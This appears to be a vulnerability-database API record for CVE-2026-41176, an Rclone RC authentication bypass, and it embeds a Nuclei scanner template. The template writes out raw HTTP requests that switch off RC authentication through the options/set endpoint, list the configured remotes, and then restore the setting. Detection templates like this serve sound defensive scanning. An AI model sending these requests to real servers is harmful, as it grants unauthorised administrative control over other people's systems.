{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-41176/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-41176/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-41176/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-41176/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-41176/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-41176"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-41176"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-41176.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-41176\n\ninfo:\n  name: Rclone RC - Broken Access Control\n  author: theamanrawat\n  severity: critical\n  description: |\n    Rclone >= 1.45.0 and < 1.73.5 contains a broken access control vulnerability caused by unauthenticated access to the RC endpoint `options/set` allowing mutation of global runtime configuration, letting unauthenticated attackers access sensitive administrative functions, exploit requires RC server started without global HTTP authentication.\n  impact: |\n    Unauthenticated attackers can access sensitive administrative functions, potentially leading to full control over the RC server configuration and operations.\n  remediation: |\n    Upgrade to version 1.73.5 or later.\n  reference:\n    - https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-41176\n  classification:\n    cvss-score: 9.2\n    cve-id: CVE-2026-41176\n    epss-score: 0.32715\n    epss-percentile: 0.98272\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: rclone\n    product: rclone\n  tags: cve,cve2026,rclone,auth-bypass,rce,unauth,vkev\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /config/listremotes HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 403'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /options/set HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"rc\":{\"NoAuth\":true}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"{}\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /config/listremotes HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n      - |\n        POST /options/set HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"rc\":{\"NoAuth\":false}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"remotes\")'\n          - 'contains(content_type, \"application/json\")'\n        condition: and\n# digest: 490a0046304402204f7dac2cb812f816241e81ae1870bd89b085dac1e8977f651bb0f2aaf6c9ad090220452798f47b49a1adf1bb90bbc24cc05e5998b11627c2be846ea3e5da502051a0:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-41176"
}